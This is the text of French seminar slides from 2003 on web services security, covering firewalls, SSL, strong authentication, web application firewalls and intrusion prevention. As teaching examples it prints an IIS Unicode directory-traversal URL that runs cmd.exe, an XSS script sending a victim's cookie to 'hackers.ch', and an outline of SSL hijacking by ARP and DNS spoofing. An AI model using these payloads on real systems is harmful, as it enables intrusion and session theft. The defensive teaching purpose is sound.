La sécurité des services Web votre firewall, votre meilleur ennemi



Documents pareils
La citadelle électronique séminaire du 14 mars 2002

Vulnérabilités et sécurisation des applications Web

La Latecion protection anti-intrusion Web Web Le concept «Zero effort Security» La protection des applications Extranet

La renaissance de la PKI L état de l art en 2006

TUNIS LE : 20, 21, 22 JUIN 2006

Tutorial Authentification Forte Technologie des identités numériques

Gestion des identités Christian-Pierre Belin

La Sécurité des Données en Environnement DataCenter

Sécurité des Web Services (SOAP vs REST)

Jean-Philippe VIOLET Solutions Architect

HAUTE DISPONIBILITÉ DE MACHINE VIRTUELLE AVEC HYPER-V 2012 R2 PARTIE CONFIGURATION OPENVPN SUR PFSENSE

Vulnérabilités et solutions de sécurisation des applications Web

Expérience d un hébergeur public dans la sécurisation des sites Web, CCK. Hinda Feriani Ghariani Samedi 2 avril 2005 Hammamet

Sécurité des systèmes d exploitation

OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI

DenyAll Protect. Sécurité & accélération. Parefeux pour applications et services Web. de vos applications.

Perso. SmartCard. Mail distribution. Annuaire LDAP. SmartCard Distribution OCSP. Codes mobiles ActivX Applet. CRLs

La haute disponibilité de la CHAINE DE

Protection des Applications Web avec OpenAM

Gestion des Identités : 5 règles d'or. Patrice Kiotsekian Directeur Evidian France

Cartographie du SI pour alimenter la CMDB

Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement

LDAP & Unified User Management Suite

Fiche Technique. Cisco Security Agent

Hébergement de sites Web

StormShield v4.0 StormShield - Version 4.0 Presentation OSSIR 10 juillet 2006

CIBLE DE SECURITE CSPN DU PRODUIT PASS. (Product for Advanced SSO)

La sécurité périmètrique multi-niveaux. Un white paper de Daniel Fages CTO ARKOON Network Security

Ce document décrit une solution de single sign-on (SSO) sécurisée permettant d accéder à Microsoft Exchange avec des tablettes ou smartphones.

1. Formation F5 - Local Traffic Manager Configuring (LTM)

Jahia. Guillaume Monnette École Ingénieurs 2000 Marne-La-Vallée IR3

Architecture client riche Evolution ou révolution? Thomas Coustenoble IBM Lotus Market Manager

Convergence entre Sécurité et Conformité par l approche Software as a Service Présentation en avant-première de QualysGuard Policy Compliance

RSA ADVANCED SECURITY OPERATIONS CENTER SOLUTION

Vers un nouveau modèle de sécurisation

Urbanisation des SI Conduite du changement IT 20/03/09. Patrick CHAMBET

Gestion des accès et des identités

Formations. «Règles de l Art» Certilience formation N SIRET APE 6202A - N TVA Intracommunautaire FR

Dr.Web Les Fonctionnalités

Architecture JEE. Objectifs attendus. Serveurs d applications JEE. Architectures JEE Normes JEE. Systèmes distribués

SÉCURITÉ RÉSEAUX/INTERNET, SYNTHÈSE

Catalogue «Intégration de solutions»

L état de l ART. Évolution récente des technologies. Denis Szalkowski Formateur Consultant

Evidian IAM Suite 8.0 Identity Management

JOnAS 5. Serveur d application d

sécurisation des systèmes d information BE READY FOR WHAT S NEXT. Kaspersky Open Space Security

Sécurité WebSphere MQ V 5.3

Groupe Eyrolles, 2004, ISBN :

<Insert Picture Here> La GRC en temps de crise, difficile équilibre entre sentiment de sécurité et réduction des coûts

Introduction à Sign&go Guide d architecture

De l authentification au hub d identité. si simplement. Présentation OSSIR du 14fev2012

Firewall IDS Architecture. Assurer le contrôle des connexions au. Sécurité 1

Tom Pertsekos. Sécurité applicative Web : gare aux fraudes et aux pirates!

Cedric Dumoulin (C) The Java EE 7 Tutorial

Web Application Firewalls (WAF)

Digital DNA Server. Serveur d authentification multi-facteurs par ADN du Numérique. L authentification de confiance

Instructions Mozilla Thunderbird Page 1

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin

Les tendances, la sécurité, le BYOD et le ROI de la mobilité. July 12

Présentation de la solution Open Source «Vulture» Version 2.0

DÉVELOPPER DES APPLICATIONS WEB SÉCURISÉES

Lyon, mardi 10 décembre 2002! "#$%&"'"# &(

Windows (2000/NT), Solaris, AIX, HP-UX, Linux Haute disponibilité : SunCluster 3, Veritas Cluster Server 4. J2EE (JSP, Servlet, EJB, JTA), Open Source

Infrastructure Management

AUTHENTIFICATION ADAPTATIVE

ENVOLE 1.5. Calendrier Envole

Notre Catalogue des Formations IT / 2015

Livre blanc sur l authentification forte

Lieberman Software Corporation

Outils d'analyse de la sécurité des réseaux. HADJALI Anis VESA Vlad

Sécurité des réseaux sans fil

Routeur Chiffrant Navista Version Et le protocole de chiffrement du Réseau Privé Virtuel Navista Tunneling System - NTS Version 3.1.

Bitdefender GravityZone

S28 - La mise en œuvre de SSO (Single Sign On) avec EIM (Enterprise Identity Mapping)

Catalogue des Formations Techniques

Sécurisation des architectures traditionnelles et des SOA

WINDOWS Remote Desktop & Application publishing facile!

Accès & Sécurité. edouard.lorrain@citrix.com Business Development Manager

Sécurité de la ToIP Mercredi 16 Décembre CONIX Telecom

Le Cloud Computing est-il l ennemi de la Sécurité?

TREND MICRO. Le spécialiste de la lutte contre les codes malicieux. Pierre MORENO Responsable Partenaire Trend Micro France

BMC Middleware Management

Quick Start Guide This guide is intended to get you started with Rational ClearCase or Rational ClearCase MultiSite.

WORKSHOP OBIEE 11g (version ) PRE-REQUIS:

Retour d expérience sur Prelude

Retour d'expérience sur le déploiement de biométrie à grande échelle

DenyAll Detect. Documentation technique 27/07/2015

Présentation du relais HTTP Open Source Vulture. Arnaud Desmons Jérémie Jourdin

z Fiche d identité produit

MSP Center Plus. Vue du Produit

Etude de la pertinence et de l'intérêt des appliances WAF (IPS web) à l'inria

Kerberos en environnement ISP UNIX/Win2K/Cisco

EJBCA Le futur de la PKI

L infrastructure Sécurité de Microsoft. Active Directory RMS. Microsoft IAG

akersia Présentation de compétences et technologies Janvier 2008 Frédéric Laplagne: Jordi Segués:

Sécurité des applications web. Daniel Boteanu

Tech-Evenings Sécurité des applications Web Sébastien LEBRETON

Tunnels et VPN. 22/01/2009 Formation Permanente Paris6 86

Transcription:

e-xpert Solutions SA 29, route de Pré-Marais CH 1233 Bernex-Genève Tél +41 22 727 05 55 Fax +41 22 727 05 50 La sécurité des services Web votre firewall, votre meilleur ennemi Mardi 11 mars 2003 Avec la participation de RSA Security Sylvain Maret / CTO e-xpert Solutions info@e-xpertsolutions.com www.expertsolutions.com

e-xpert Solutions: motivations stratégiques e-xpert Solutions SA, c est deux ans d activité mais aussi Des convictions techniques Une philosophie de prestation de qualité Discrétion et traitement confidentiel des données de notre clientèle Rigueur et sérieux Importance du suivi opérationnel Une adéquation entre des solutions, des besoins et des moyens à disposition Dans la pratique La sécurité informatique nécessite des experts dédiés Complémentarité de la sécurité classique et des dernières technologies Primauté de la veille technologique (vague avant-gardiste) Une compréhension des évolutions de la sécurité informatique (l expérience ) Des implémentations rigoureuses (études avant-projets, planification, mesure de recettes) Des services de maintenances réactives & préventives Des formations sur mesure (sensibilisation, suivi opérationnel, etc.) Des Cursus réguliers (UniGe, HES Genève & Yverdon)

Les solutions e-xpert Solutions Solutions de sécurité classiques L accès: Firewalls, Proxy, Reverse Proxy SSL, authentification forte Les communications: VPN, Proxy, IDS, contenu Web, messagerie sécurisée, analyse des URLs Les systèmes: sécurité des OS, IDS-FIA, Antivirus Solutions de sécurité de pointes L accès: Firewalls applicatifs, gestion des identités, PKI (OSCP), Biométrie Les communications: PKI, Signature électronique, S/MIME Les systèmes: PKI, HSM, Chiffrement (Key Recovery), IPS L architecture et les applications Design réseau Haute disponibilité Autorisation et privilèges d accès Et ce qui suit

Le but du séminaire Nécessité mais insuffisance des outils de sécurité classiques Où sont les menaces et les challenges à l heure actuelle Cf. SQL Slammer, Nimda (IIS), Slapper (SSL), Opaserv (WINS), Bugbear (SMTP/Netbios) Protéger les applications en particulier les services Web

Agenda 9h40 La sécurité des services Web I 10h00 RSA Security Mobile et Clear Trust Sylvain Maret e-xpert Solutions SA 11h00 Présentation et démonstration Entercept Hervé Ottet RSA Security 10h20 Pause de 20 minutes 10h40 La sécurité des services Web II Sylvain Maret e-xpert Solutions SA Christian Berclaz e-xpert Solutions SA 11h20 Questions & réponses 11h30 Showroom et buffet

e-xpert Solutions SA 29, route de Pré-Marais CH 1233 Bernex-Genève Tél +41 22 727 05 55 Fax +41 22 727 05 50 La sécurité des services Web votre firewall, votre meilleur ennemi La sécurité «Classique» (Partie I) par Sylvain Maret 11 mars 2003 info@e-xpertsolutions.com www.expertsolutions.com

Définition: application Web Application utilisant le protocole HTTP (80) ou HTTPS (443) pour être pilotée par un utilisateur L utilisateur a besoin d un simple navigateur Web ou d une application propriétaire utilisant le protocole HTTP/HTTPS pour travailler sur l applicatif Exemple: OWA, ebanking, Hotmail, votre portail, etc.

Définition: services Web Composant offrant un ou plusieurs services métiers publiés sur un réseau (Internet) Utilise des technologies telles que: Soap, XML, WSDL, UDDI, etc. Technologie émergente Traduction du moteur Google Réservation d un Hôtel Base de données, etc. Même problème de sécurité

Architecture d une application Web App. Web Serveur Web HTTP / HTTPS Port 80 / 443 XML, Soap, HTML, etc. Apach e IIS Iplane t Zeus RMI IIOP XML S oap etc. Applicati on Server XM L SQL XML JDBC etc. CGI, PHP Etc. App. Web Client Web DB DB Firewall Classiqu e

Risques acceptables? La sécurité «classique» La sécurisation du périmètre et des systèmes La sécurité de «pointe» La sécurisation des applications Web La gestion des identités Firewall applicatifs Web Analyse comportementale

Les éléments de la sécurité «classique» Segmentation - Firewall Sécurisation des communications SSL Blindage des systèmes d exploitations Détection d intrusions Blindage des serveurs Web Reverse Proxy Haute Disponibilité Authentification forte SecurID et RSA Mobile Certificats Numériques

Segmentation - Firewall Liaison Physique ICMP IP Autres protocol es UDP DNS TCP Etc. http Autres protocoles https s mtp Etc.

Segmentation - Firewall TC P p op3 X h ttp http s ft p X Serveur Web

Segmentation - Firewall DM Z SMTP SMTP X Réseau Interne Mail Server X Mail Server (Lotus, Exchange) SQL HTTP SOAP Application Web Back Office SAP, Oracle, etc.

Sécurisation des communications: SSL Sécurisation du transport entre le client et le serveur Technologie VPN embarquée dans les clients Web Services de sécurité Confidentialité (par exemple un chiffrement à 128 bits) Intégrité des données Authentification du serveur Option: authentification du client Utilisation de la technologie PKI Certificat numérique pour le serveur

SSL: authentification du serveur Root CA publique Certificat du site http://largo.expertsolutions.com SSL 128 bit Vérificatio n Du

Sécurisation de vos transactions SSL: un module HSM Protège les clés privées d une intrusion Sécurise les transactions SSL Calcul cryptographique dans le module Support Apache, IIS, IPlanet, etc HSM Nciph er FIPS140 PKCS#1 1 e-xpert Gate SSL

Augmentation de la puissance SSL jusqu a 800 transactions par seconde

Haute disponibilité, partage de charge http / https Application Web F5 Big IP Application Web h ttp HTTP / HTTPS Répartition de charge Gestion des sessions Haute disponibilité Facilité à la maintenance des systèmes Terminaison SSL Possible h ttp h ttp Application Web

Blindage des systèmes d exploitation: risque minimum Restriction des services Sécurisation du «stack» IP Mise en place des règles du firewall local Gestion des droits sur les fichiers Gestion sécurisée Déni de services, opacité de «l emprunte» SSH, Remote Control sécurisé Authentification forte pour la gestion Détection des tentatives d intrusions Mécanismes d alertes (Snmp. Syslog, etc.) Politique d application des «Patchs» de sécurité

Système de détection d intrusions: Host IDS (FIA) Permet de déceler une tentative d intrusion sur une application Web et son système d exploitation Il s agit d une technologie de détection d intrusions Basé sur l utilisation de la cryptographie moderne File Integrity Assesment Méthode de «Hashing» (Sha1, md4, etc.) Méthode de signature numérique (RSA, El Gamal)

Détection d intrusion avec Tripwire Alerte intrusion «Defacement Console de gestion TRIPWIRE T W B T W A

Sécurisation des serveurs Web: la sécurité accrue Sécurisation du serveur IIS Microsoft Sécurisation du serveur Apache Suppression des composants inutiles (ISA-API) Suppression de la bannière Application des patchs Application d une politique de sécurité e-xpert Solutions Outils Microsoft (IIS Lock) Suppression des modules inutiles Suppression de la bannière Application des patchs Configuration en mode «Jail» pour un blindage

L importance de l opacité du serveur Prévenir l intrusion Pour leurrer les robots Mauvais exemple! Demande plus de temps d analyse avant une tentative d attaque Difficulté de trouver des exploits pour un serveur Web spécifique Script Kiddies Pour éviter certains Vers (* Slammer 2002 )

Clé de voûte de la sécurité: l authentification forte + QQ que l on connaît QQ que l on possède + QQ que l on est H34ff34 QF PIN Code

Pourquoi l authentification forte? Vol de mot de passe sur le réseau Majorité des protocoles n est pas chiffrée Renifleurs spécialisés pour les script kiddies (Gestion des attaques de type ARP) Ecoute des touches du clavier Key Logger, Troyan, Back Door, Code mobile, etc, Attaques par «brute force» ou dictionnaire MiM attack SSL Valable pour les applications sans mécanisme de protection Social Engineering

e-xpert Solutions SA 29, route de Pré-Marais CH 1233 Bernex-Genève Tél +41 22 727 05 55 Fax +41 22 727 05 50 Démonstration par la pratique SSL Hijacking info@e-xpertsolutions.com www.expertsolutions.com

Vol d un mot de passe d une session SSL (SSL Hijacking) 1) ARP Spoofé 172.20.1.14 DNS Spoofé Serveur DNS 2) DNS Spoofé IP de Fantasio? 172.20.1.2 53la Spoof réponse Trafic SSL déchiffré 172.20.1. 14 Fantasi Serveur o Web 172.20.1.2 53 3 bis) Certificat du serveur Fantasio Spoofé 3) SSL Interrompu

La simplicité et la sécurité sans compromis: le certificat client SSL Autorité de certification Internet ou externe Token USB Smarcar d Validation des certificats PKCS#1 2 CRL OCSP VSCP Challenge (nonce) + Réponse

e-xpert Solutions SA 29, route de Pré-Marais CH 1233 Bernex-Genève Tél +41 22 727 05 55 Fax +41 22 727 05 50 Etude de cas MKS Finance Application bancaire / certificats clients SSL info@e-xpertsolutions.com www.expertsolutions.com

Etude de cas: sécurisation d une application bancaire Authentification forte basée sur les certificats clients Utilisation d un reverse proxy SSL Application basée sur une architecture J2EE Environ 300 clients Génération des certificats clients «In House» PKCS#11 Evolution possible vers la signature des transactions Sécurité accrue et optimisation des coûts Distribution des certificats dans leur container software E-Xpert Gate (PKI Ready: OCSP, filtrage des certificats,etc.) Non-répudiation

Architecture de sécurité basée sur la solution e-xpert Gate e-xpert Gate PKI Ready HTTPS PKCS#1 2 RA Certificat délivré par la PKI Server Web BEA BEA WebLogic Applet Java Container Domin o HTTP Reverse Proxy Authentification SSL Validation des certificats OS Sécurisé SSH Support PKCS#11 etc. CA et VA Validation Online des Certificats Via OCSP DB C obol

La référence: l authentification forte SecurID Solution très portable Niveau de sécurité très élevé Système simple à l utilisation Pas de clavier De facto Standard Environ 300 agents SecurID Pas besoin d installer du hardware Convient parfaitement aux nomades (Internet Café, Hôtel) Agents pour les applications Web

Identification forte des utilisateurs Web avec SecurID Serveurs Web Application server IIS Apache et reverse proxy Stronghold SUN One Server Domino BEA WebLogic, IBM WebSphere Via Cleartrust

e-xpert Solutions SA 29, route de Pré-Marais CH 1233 Bernex-Genève Tél +41 22 727 05 55 Fax +41 22 727 05 50 Etude de cas NFuse Citrix et SecurID info@e-xpertsolutions.com www.expertsolutions.com

Etude de cas: sécurisation de Citrix NFuse avec RSA SecurID Ace Server SecurID Citri x Web Server Nfuse Secure Gateway

e-xpert Solutions SA 29, route de Pré-Marais CH 1233 Bernex-Genève Tél +41 22 727 05 55 Fax +41 22 727 05 50 Le système d authentification mobile La gestion des identités Par Hervé Ottet, RSA Security La sécurité de «pointe» info@e-xpertsolutions.com www.expertsolutions.com

RSA Mobile and RSA ClearTrust La Sécurité des services Web, 11 Mars 2003 Hervé Ottet, Pre-Sale Engineer, hottet@rsasecurity.com

Why Focus on Authentication? Authentication is the essential foundation for trusted business process Establishes trust by proving identities of the participants in a transaction Authentication is the foundation for other critical services Personalization Authorization / Access Management Identity Management Audit Business policy: liability, assurance for transactions Applications and services: access control and authorization Presentation / Personalization: what the user sees Authenticated Identity (user, device, application, group, organization) Defining relationships through quality of experience Relationships between identities and information Relationships between people, groups, and organizations

RSA Mobile

Introducing RSA Mobile Upon receiving a valid username and PIN, RSA Mobile sends a one-time access code to the user's portable device. Two-factor authentication for Web Application Leverages a device the user already has Zero-deployment, zero-footprint Intuitive, easy to use and highly portable

How RSA Mobile works Web Server Agent Userid + PIN Userid + PIN Start here RSA Mobile Authentication Server Userid + PIN Access code + Phone # Access code 294836 e-mail Server or Gateway Server Telco Networ k Access code 294836 Access code 294836 Text Message

User Authentication (IV)

RSA Mobile: Security Built on RSA Security s patented time-synchronous methodology Proven security 13 million end users In the GSM Network, the access code is sent encrypted with A5 Access code must be entered on the same instance of the Web browser from which the code was requested Prevents the use of intercepted access codes User account can be automatically disabled after an administrator configurable number of bad PINs or bad access code attempts.

RSA Mobile Key Features Protects Web resources through admin-defined authentication policies RSA Mobile or LDAP passwords RSA SecurID (proxy to RSA ACE/Server) OR combinations of the above Flexible integration options Web filters to protect resources (IIS, Apache, ISA, Apache proxy) Authentication APIs and Administrative APIs Can configure PIN-less installation (Users enter tokencode only, no PIN) High performance / availability Built on BEA WebLogic application server Support SAML RSA Mobile plug-ins facilitate easy integration to the Telco infrastructure Ships with support for Wireless modem, E-mail, directly to Telco via SMPP Additional plug-ins can be easily built

WEB Access Management

Market Drivers Increased need for managing trust and security over the Web (customer, supplier, resellers) Reduce burdensome and costly user administration Provide greater ease of use via Web SSO for customers Reduce complexity of managing security across heterogeneous IT environments Desire to support different authentication methods Real-time transactional authorization will be required as more complex e-business services move to the Web

Problem How do you manage the identities of a growing number of users and their secure access to enterprise Web resources in a scalable, costefficient manner. Customers Partners Employees Access Channels: Intranet, Extranet, Portal, Wireless RSA Online SecurCare Online PRC Siebel mysap

Problem across a heterogeneous IT infrastructure? Databases Directories Portal Web Content Servers Servers Application Management Enterprise Servers Apps

Solution Customers Employees Partners Access Channels: Intranet, Extranet, Portal, Wireless RSA Online SecurCare Online PRC Siebel mysap

RSA ClearTrust

RSA Cleartrust Architecture Entitlements database Entitlements directory Entitlements Server Administration console Authorization server Load Balancing & replication Authentication agents Web Server n Web Server 3.. Web Server 2 Encrypted Session Cookie End user Web Server 1

Authorization What can you access? Web server Resource identified by Universal Resource Indicator (URI) Web pages, CGI files, directories, GIF, JPG files etc. Application group of resources Application server Additional resources - EJBs, JSPs, Java servlets Method-level protection ACCESS, GET, POST Risk mitigation with fine-grained protection of your existing based resources web-

Multiple Authentication Options Offers flexibility and choice Continue to offer customers broadest choice of authentication methods Out-of-box support for: Password Passwords RSA SecurID tokens X.509 certificates Basic (LDAP) Forms-based authentication Authentication chaining available via and/or statements Custom WAX support for: Biometrics RSA Mobile.NET Passport

Smart Rules Apply access rules based on dynamic user properties Based on flexible business rules and comparison logic Decrease time to market and increase security

Flexibility RSA ClearTrust APIs Administrative API (Java, C, DCOM) Create/update user accounts and set authorization rules Runtime API (Java, C, DCOM) Provide authentication and authorization services for applications not covered by RSA ClearTrust WebAgent extension (WAX - C only) Allows extension and customization of existing Web server plug-in Leverage existing IT investments though effective systems integration

A Comprehensive Solution Identity Provisioning Identify Users and Devices Manage/ Personalize Access Ensure Ensure Integrity of Integrity of Information Transactions Application Integration Mobile Management Services World-class organization Full range of services Global, 24/7 customer support People and Devices Partners Largest, fastest growing partner program Channel partners Strategic C/SI relationship Information and Transactions

www.the-demo-bank.com www.rsasecurity.com

Pause: 20 minutes

e-xpert Solutions SA 29, route de Pré-Marais CH 1233 Bernex-Genève Tél +41 22 727 05 55 Fax +41 22 727 05 50 La sécurité des services Web Votre firewall, votre meilleur ennemi La sécurité de «pointe» (Partie II) par Sylvain Maret 11 mars 2003 info@e-xpertsolutions.com www.expertsolutions.com

Pourquoi la sécurité «classique» n est plus suffisante? Les applications Web sont vulnérables Les développeurs ne sont pas encore sensibilisés à la sécurité informatique Env. 80% des applications testées (FoundStone) Encore trop d erreurs Les hackers se focalisent sur les applications Web Votre firewall classique est impuissant pour prévenir les intrusions applicatives Vos sondes IDS peuvent «éventuellement» détecter une attaque!

Votre firewall votre meilleur ennemi http / https XML, Soap, WSDL.NET Java, ActiveX, VBScript, etc. Html, Dhtml * Pour les flux HTTP votre firewall = * Firewall Classique filtrage niveau 3

Les différentes attaques des applications Web App. Web Serveur Web Client Web HTTP / HTTPS Port 80 / 443 XML, Soap, HTML, etc. Apach e IIS Iplane t Zeus RMI IIOP XML S oap etc. DB Applicati on Server XM L SQL XML JDBC etc. CGI, PHP Etc. DB Cross Site Scripting Code mobile Vol de session MiM http MiM SSL Sniffing Interprétation des URLs Mauvaise configuration BoF Unicode Direct OS Command Etc. Mauvais contrôle des entrées utilisateur Méta caractères BoF Etc. Injection de code SQL Dénis de service Etc.

Interprétation des URLs http://fantasio.expertsolutions.com:80/chemin/application.asp?a=toto&b=1234 DB HTTP Port 80 XML, Soap, HTML, etc. Apach e IIS Iplane t Zeus Serveur Web Client Web Firewall Classiqu e RMI IIOP XML S oap etc. Applicati on Server XM L SQL XML JDBC etc. CGI, PHP Etc. App. Web DB

Illustration avec IIS Unicode Exploit Ancienne vulnérabilité du serveur IIS Permet d exécuter des commandes sur le serveur IIS Utilise les URL malformés pour «passer les commandes» Exemple pédagogique «Dot Dot» Unicode

e-xpert Solutions SA 29, route de Pré-Marais CH 1233 Bernex-Genève Tél +41 22 727 05 55 Fax +41 22 727 05 50 Démonstration par la pratique IIS Unicode Exploit info@e-xpertsolutions.com www.expertsolutions.com

Interprétation de commandes par les URLs Fantasi o Serveur Web GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+d

Reverse Proxy: firewall applicatif Web Filtrage des URLs en temps réel Se base sur une définition précise des URLs Inclusive Exclusive 1 GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c 2 GET /scripts/demo/taxes.asp?a=12&b=tot

e-xpert Gate: le firewall applicatif Web Filtrage des URL HTTP http, https Apache Mod_Rewrite Mod_SSl PKI Support SecurID Support Radius Support HSM Mutli Site OS sécurisé GUI via SSL SSH FIA Application Web

e-xpert Solutions SA 29, route de Pré-Marais CH 1233 Bernex-Genève Tél +41 22 727 05 55 Fax +41 22 727 05 50 Démonstration par la pratique e-xpert Gate: firewall applicatif Web info@e-xpertsolutions.com www.expertsolutions.com

e-xpert Gate: blocage de l attaque Unicode http, https HTTP Application Web GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+d

Contrôle des données utilisateurs La plupart des applications ne contrôlent pas les «Input» Seulement un contrôle au niveau du client (navigateur)! Les attaques possibles Insertion de code, XSS BoF (pas de contrôle de taille) exécution de code malicieux Dépassement des quotas (transaction financière) Caractères dangereux:!@$%^&*()-_+`~\ []{};:'"?/,.><

Illustration avec le Cross-Site Scripting (XSS) Principe de l attaque Attaquer les utilisateurs de l application plutôt que l application elle-même L attaquant peut provoquer l envoi à la victime par le site Web légitime d une page hostile contenant des scripts ou des composants malveillants Cette page est exécutée sur le poste de la victime dans le contexte du site Web d origine <A HREF=http://www.mabanque.com/<script> alert( Malicious code )</script>">click Here</a>

Exemple: vol d un cookie <script> document.location= http://hackers.ch/cgi/cookie? +document.cookie </script> Envoie du cookie vers le site hackers.ch

Exemple: Vol de session par XSS Hacker Login avec le cookie volé Application Web 5 4 2 3 1 Lien hostile Mail, Page Web Application utilisateur Web Exécution de code CGI Script

e-xpert Solutions SA 29, route de Pré-Marais CH 1233 Bernex-Genève Tél +41 22 727 05 55 Fax +41 22 727 05 50 Démonstration par la pratique Attaque XSS info@e-xpertsolutions.com www.expertsolutions.com

Attaque XSS Injection code hostile http, https Code Hostile Application Web Code exécuté sur le poste client

Recommandations: contrôles des données utilisateurs Accepter que les données autorisées! Recommandations pour les développeurs Pour plus d informations Ne pas faire confiance au client (navigateur) Comptage du nombre de paramètres Contrôle du type de données Contrôle de la longueur Etc. http://www.owasp.org

La tendance des firewalls applicatifs Web Mode d apprentissage automatique Contrôle des paramètres Contrôle des attaques de «brute force» Blocage de XSS Contrôle des cookies Architecture Mode Reverse Proxy Agent sur le serveur Web

Les enjeux du futur: les services Web Nouveaux modèles Contrôle des messages Soap / XML Nouveaux standards XML Encryption XML Signature Nouveaux types d outils de sécurité Notion de services Web J2EE -.NET Firewall XML PKI

Audit des applications Web Outils spécialisés pour auditer les applications Web Recommandation Réaliser régulièrement des tests d intrusions Plus particulièrement avant la mise en production

e-xpert Solutions SA 29, route de Pré-Marais CH 1233 Bernex-Genève Tél +41 22 727 05 55 Fax +41 22 727 05 50 Présentation et démonstration Entercept La sécurité de «pointe» 11 mars 2003 info@e-xpertsolutions.com www.expertsolutions.com

Entercept: prévention des intrusions Outil de la famille des «IPS» Sécurisation des plates-formes sensibles Services frontaux - DMZ Services sensibles internes à l entreprise Sécurisation des serveurs Web Intrusion Prevention System Détecte et bloque les intrusions Applications Web Extranet, Intranet

Objectif du produit Garantir l intégrité des systèmes Faciliter le déploiement et l administration Stopper les attaques (OS et applications) Protection des attaques connues et inconnues «Blinder» la machine Protection des BoF (60% attaques*) Minimiser les ressources IT Eliminer le «Know How» très spécifique Produit simple à mettre en oeuvre Permet une latence dans la mise en œuvre des patchs * Source: CERT

Entercept: la protection efficace de vos ressources Blocage des comportements anormaux Protection contre les BoF Escalade de privilège Protection des ressources Fichiers critiques Fichiers de configuration Registry (si Windows) Protection contre l installation de programmes malicieux Méthode patentée Root Kit Back Door Etc.

Concept des «System Call» Progra m A Progra m B Progra m C Syste m Call Table fope n unlin k OS Kern el Netwo rk Driver Disk Driv er User Mode Kernel Other Drive rs

Concept des «System Call» avec Entercept Progra m A Progra m B Progra m C Syste m Call Table fope n unlin k OS Kern el Netwo rk Driver Disk Driv er User Mode Kernel Other Drive rs

Entercept: firewall applicatif HHTP Serveur Web Flux H HTTP TTP Décodage http Moteur http Prévention des intrusions

Mode d apprentissage Warning Protection Mode Mode Vault Mode Increasing Security

Architecture Entercept Notificati on Reportin g Serveur NT et 2000 Managem ent Serveur WEB Serveur Unix

Gamme de produits Entercept Standard Edition Entercept Database Edition Windows NT Windows 2000 Solaris 6, 7 et 8 SQL Server 2000 Entercept Web Edition Apache IIS 4 et 5 iplanet Netscape Entreprise Server Console de gestion Entercept NT 4 Windows 2000

Road Map Entercept 2003 Version 3.0 disponible courant 2003 Modèle 3 tiers Gestion par rôles des administrateur Création de signatures d attaques Personnalisation des rapports Nouveaux agents HPUX 11, Solaris 9, and Apache 2, linux, Aix Web Services: Soap XML Serveur de messagerie

Entercept s Awards et partenaires stratégiques

e-xpert Solutions SA 29, route de Pré-Marais CH 1233 Bernex-Genève Tél +41 22 727 05 55 Fax +41 22 727 05 50 Démonstration Back Door info@e-xpertsolutions.com www.expertsolutions.com

Démonstration Entercept Management Entercept You have been Hacked Hacker Script Kidies HTTP Intrusio n Agent Intercept pour Web

Conclusion Malgré les mesures de sécurité «classiques» les applications Web restent vulnérables Quelles solutions? Ou? Authentification forte Gestion des privilèges Les firewalls applicatifs Web L analyse comportementale La formation des développeurs

Démonstration Entercept

Merci pour votre attention

Sécurisation des services Web: les produits RSA Security Entercept e-xpert Gate NCipher SSH Communications Appliance IBM Tripwire Aladdin F5 Networks